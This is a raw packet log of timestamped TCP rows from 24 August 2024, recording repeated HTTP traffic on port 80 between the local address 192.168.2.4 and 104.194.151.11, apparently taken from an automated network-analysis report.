Aug 24, 2024 11:51:55.941637993 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941639900 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941648960 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941657066 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941659927 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941670895 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941679001 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941680908 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941692114 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941703081 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941721916 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941741943 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941741943 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.942650080 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.942662001 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.942713976 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.942780972 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.942826986 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.942923069 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.942934036 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.942944050 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.942955017 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.942965031 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.942971945 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.942975998 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.943003893 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.943015099 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028156996 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028179884 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028192043 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028208017 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028220892 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028232098 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028244972 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028255939 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028269053 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028279066 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028289080 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028290033 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028301954 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028315067 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028326035 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028337002 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028346062 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028357983 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028361082 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028369904 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028379917 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028379917 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028393030 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028398037 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028404951 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028414965 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028420925 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028429031 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028451920 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028470993 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028486013 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028502941 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028516054 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028523922 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028527021 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028537989 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028538942 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028558016 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028580904 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028646946 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028661013 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028669119 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028685093 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028695107 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028714895 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028789043 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028800964 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028810978 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028822899 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028832912 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028836012 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028841019 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028846025 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028856993 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028867960 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028872013 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028881073 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028892994 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028920889 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028930902 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028934002 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028942108 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028953075 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028966904 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028975010 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.028980017 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.028992891 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029017925 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029120922 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029131889 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029144049 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029155970 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029160976 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029182911 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029304981 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029315948 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029325008 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029335976 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029347897 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029354095 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029359102 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029371023 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029387951 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029469013 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029480934 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029498100 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029510021 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029515982 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029520988 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029532909 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029540062 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029568911 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029577971 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029599905 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029612064 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029623032 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029633999 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029635906 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029649019 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029673100 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029740095 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029782057 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029894114 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029905081 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029915094 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029928923 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029932976 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029939890 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.029949903 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029968977 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.029994011 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030045033 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030056953 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030072927 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030085087 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030095100 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030107021 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030118942 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030127048 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030129910 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030158997 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030184984 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030189037 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030196905 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030208111 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030220032 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030230045 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030237913 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030271053 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030375004 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030385971 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030395031 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030406952 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030417919 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030419111 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030430079 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030437946 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030441999 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030457973 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030491114 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030543089 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030555010 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030564070 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030575037 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030581951 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030586958 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030597925 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030605078 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030608892 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030622005 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030641079 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030659914 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030689001 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030700922 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030705929 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030715942 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030745983 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030757904 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030857086 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030868053 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030878067 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030894995 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.030895948 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030921936 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030944109 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.030997038 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.031009912 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.031021118 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.031029940 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.031034946 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.031048059 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.031068087 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.118490934 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118505001 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118515968 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118527889 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118540049 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118551016 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118562937 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118575096 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118577003 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.118587017 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118603945 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.118606091 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118623972 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118627071 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.118635893 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118645906 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.118649960 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118664026 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118675947 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118683100 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.118701935 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.118724108 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.118766069 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118777037 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118788004 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118798018 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118803978 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118808985 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118820906 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.118820906 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.118839979 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.118861914 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.118930101 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118942976 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118952036 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118966103 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118973017 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.118977070 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118988991 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118999004 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.118999004 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119023085 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119039059 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119055986 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119066954 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119079113 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119103909 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119122982 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119251013 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119261980 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119272947 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119283915 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119296074 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119297028 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119307041 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119314909 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119333982 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119363070 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119405985 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119416952 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119429111 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119438887 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119450092 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119452000 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119462967 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119468927 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119468927 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119477034 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119488001 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119510889 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119554043 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119565010 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119575977 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119590044 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119616032 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119712114 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119724035 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119734049 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119745970 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119750977 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119756937 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119767904 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119780064 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119802952 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119874954 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119887114 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119896889 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119908094 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119915009 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119920015 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119929075 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119930983 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119941950 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119954109 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119956970 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119965076 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.119981050 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.119999886 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.120013952 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120017052 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.120023966 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120049953 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.120069981 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.120207071 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120218992 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120229006 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120239973 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120245934 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.120250940 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120259047 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.120264053 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120275021 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120284081 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.120286942 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120306969 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.120331049 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.120337009 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120347977 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120374918 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.120387077 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.120521069 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120533943 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120544910 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120557070 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120567083 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120568991 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.120578051 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120582104 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.120590925 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120604992 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.120631933 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:56.120661974 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120673895 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:56.120683908 CEST	80	49730	104.194.151.11	192.168.2.4
